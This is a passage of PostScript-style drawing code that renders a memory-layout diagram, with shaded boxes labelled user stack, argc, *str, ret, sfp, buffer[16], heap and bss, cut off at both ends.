9181 7327 5553 DOCLIPBOX n 1399 8961 M 3735 8961 L 3735 8951 L 1399 8951 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8955 M 3735 8955 L 3735 8945 L 1399 8945 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8945 M 3735 8945 L 3735 8935 L 1399 8935 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8935 M 3735 8935 L 3735 8925 L 1399 8925 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8925 M 3735 8925 L 3735 8915 L 1399 8915 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8915 M 3735 8915 L 3735 8905 L 1399 8905 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8905 M 3735 8905 L 3735 8895 L 1399 8895 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8895 M 3735 8895 L 3735 8885 L 1399 8885 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8885 M 3735 8885 L 3735 8875 L 1399 8875 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8875 M 3735 8875 L 3735 8865 L 1399 8865 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8865 M 3735 8865 L 3735 8855 L 1399 8855 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8855 M 3735 8855 L 3735 8845 L 1399 8845 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8845 M 3735 8845 L 3735 8835 L 1399 8835 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8835 M 3735 8835 L 3735 8825 L 1399 8825 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8825 M 3735 8825 L 3735 8815 L 1399 8815 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8818 M 3735 8818 L 3735 8805 L 1399 8805 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8805 M 3735 8805 L 3735 8795 L 1399 8795 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8795 M 3735 8795 L 3735 8785 L 1399 8785 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8788 M 3735 8788 L 3735 8775 L 1399 8775 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8775 M 3735 8775 L 3735 8765 L 1399 8765 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8768 M 3735 8768 L 3735 8758 L 1399 8758 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8758 M 3735 8758 L 3735 8748 L 1399 8748 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8748 M 3735 8748 L 3735 8738 L 1399 8738 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8738 M 3735 8738 L 3735 8728 L 1399 8728 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8728 M 3735 8728 L 3735 8718 L 1399 8718 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8718 M 3735 8718 L 3735 8708 L 1399 8708 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8708 M 3735 8708 L 3735 8698 L 1399 8698 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8698 M 3735 8698 L 3735 8688 L 1399 8688 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8688 M 3735 8688 L 3735 8678 L 1399 8678 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8678 M 3735 8678 L 3735 8668 L 1399 8668 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8668 M 3735 8668 L 3735 8658 L 1399 8658 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8658 M 3735 8658 L 3735 8648 L 1399 8648 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8648 M 3735 8648 L 3735 8638 L 1399 8638 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8638 M 3735 8638 L 3735 8631 L 1399 8631 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8631 M 3735 8631 L 3735 8618 L 1399 8618 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8618 M 3735 8618 L 3735 8611 L 1399 8611 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 8611 M 3735 8611 L 3735 8518 L 1399 8518 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1405 9165 M 3732 9165 L 3732 8521 L 1405 8521 L 1405 9165 L 3732 9165 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2301 8649 M (user stack) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 8518 M 3739 8518 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6511 M 3735 6511 L 3735 6428 L 1399 6428 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6428 M 3735 6428 L 3735 6418 L 1399 6418 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6418 M 3735 6418 L 3735 6411 L 1399 6411 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6411 M 3735 6411 L 3735 6401 L 1399 6401 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6401 M 3735 6401 L 3735 6391 L 1399 6391 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6391 M 3735 6391 L 3735 6381 L 1399 6381 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6385 M 3735 6385 L 3735 6375 L 1399 6375 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6375 M 3735 6375 L 3735 6365 L 1399 6365 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6365 M 3735 6365 L 3735 6358 L 1399 6358 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6358 M 3735 6358 L 3735 6348 L 1399 6348 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6348 M 3735 6348 L 3735 6341 L 1399 6341 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6341 M 3735 6341 L 3735 6331 L 1399 6331 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6331 M 3735 6331 L 3735 6321 L 1399 6321 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6321 M 3735 6321 L 3735 6311 L 1399 6311 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6311 M 3735 6311 L 3735 6305 L 1399 6305 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6305 M 3735 6305 L 3735 6295 L 1399 6295 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6295 M 3735 6295 L 3735 6288 L 1399 6288 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6288 M 3735 6288 L 3735 6278 L 1399 6278 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6278 M 3735 6278 L 3735 6268 L 1399 6268 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6271 M 3735 6271 L 3735 6261 L 1399 6261 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6261 M 3735 6261 L 3735 6252 L 1399 6252 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6252 M 3735 6252 L 3735 6242 L 1399 6242 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6242 M 3735 6242 L 3735 6235 L 1399 6235 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6235 M 3735 6235 L 3735 6225 L 1399 6225 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6225 M 3735 6225 L 3735 6215 L 1399 6215 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6215 M 3735 6215 L 3735 6208 L 1399 6208 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6208 M 3735 6208 L 3735 6198 L 1399 6198 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6198 M 3735 6198 L 3735 6192 L 1399 6192 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6192 M 3735 6192 L 3735 6182 L 1399 6182 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6182 M 3735 6182 L 3735 6172 L 1399 6172 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6172 M 3735 6172 L 3735 6162 L 1399 6162 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6162 M 3735 6162 L 3735 6155 L 1399 6155 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6155 M 3735 6155 L 3735 6145 L 1399 6145 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6145 M 3735 6145 L 3735 6138 L 1399 6138 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6138 M 3735 6138 L 3735 6128 L 1399 6128 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6128 M 3735 6128 L 3735 6118 L 1399 6118 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6122 M 3735 6122 L 3735 6112 L 1399 6112 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6112 M 3735 6112 L 3735 6102 L 1399 6102 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6102 M 3735 6102 L 3735 6092 L 1399 6092 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6092 M 3735 6092 L 3735 6085 L 1399 6085 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6085 M 3735 6085 L 3735 6075 L 1399 6075 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6075 M 3735 6075 L 3735 6065 L 1399 6065 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6065 M 3735 6065 L 3735 6058 L 1399 6058 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6058 M 3735 6058 L 3735 6048 L 1399 6048 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6048 M 3735 6048 L 3735 6042 L 1399 6042 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6042 M 3735 6042 L 3735 6032 L 1399 6032 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6032 M 3735 6032 L 3735 6022 L 1399 6022 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6022 M 3735 6022 L 3735 6012 L 1399 6012 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6012 M 3735 6012 L 3735 6005 L 1399 6005 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 6005 M 3735 6005 L 3735 5995 L 1399 5995 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5995 M 3735 5995 L 3735 5988 L 1399 5988 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5988 M 3735 5988 L 3735 5978 L 1399 5978 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5978 M 3735 5978 L 3735 5968 L 1399 5968 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5972 M 3735 5972 L 3735 5962 L 1399 5962 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5962 M 3735 5962 L 3735 5952 L 1399 5952 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5952 M 3735 5952 L 3735 5942 L 1399 5942 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5942 M 3735 5942 L 3735 5935 L 1399 5935 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 5935 M 3735 5935 L 3735 5925 L 1399 5925 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1405 6505 M 3732 6505 L 3732 5928 L 1405 5928 L 1405 6505 L 3732 6505 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 6252 M 3739 6252 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 43 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 6508 M 3739 6508 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 2436 6379 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2450 9014 M (argc) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 8845 M 3739 8845 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 43 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 2482 6046 M (bss) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 1399 9171 M 1399 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 3735 9171 M 3735 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 9168 M 3739 9168 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 5925 M 3739 5925 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 8195 M 3739 8195 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 1395 7288 M 3739 7288 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 2176 6978 M (buffer[16]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 2436 7561 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 2440 8023 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1373 9181 7326 5554 DOCLIPBOX n 2396 8344 M (*str) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 4978 9158 M 7295 9158 L 7295 5935 L 4978 5935 L 4978 9158 L 7295 9158 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1373 9181 7326 5554 DOCLIPBOX n 6052 6389 M (bss) ST GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6248 M 4965 6578 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 7302 6248 M 7302 6578 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 6252 M 7305 6252 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 5925 M 4965 6255 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 7302 5925 M 7302 6255 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9168 M 7302 9168 L 7302 9158 L 4965 9158 L GS 0.0000 0.0000 0.0000 0.7490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9158 M 7302 9158 L 7302 9148 L 4965 9148 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9148 M 7302 9148 L 7302 9138 L 4965 9138 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9138 M 7302 9138 L 7302 9131 L 4965 9131 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1373 9181 7327 5553 DOCLIPBOX n 4965 9131 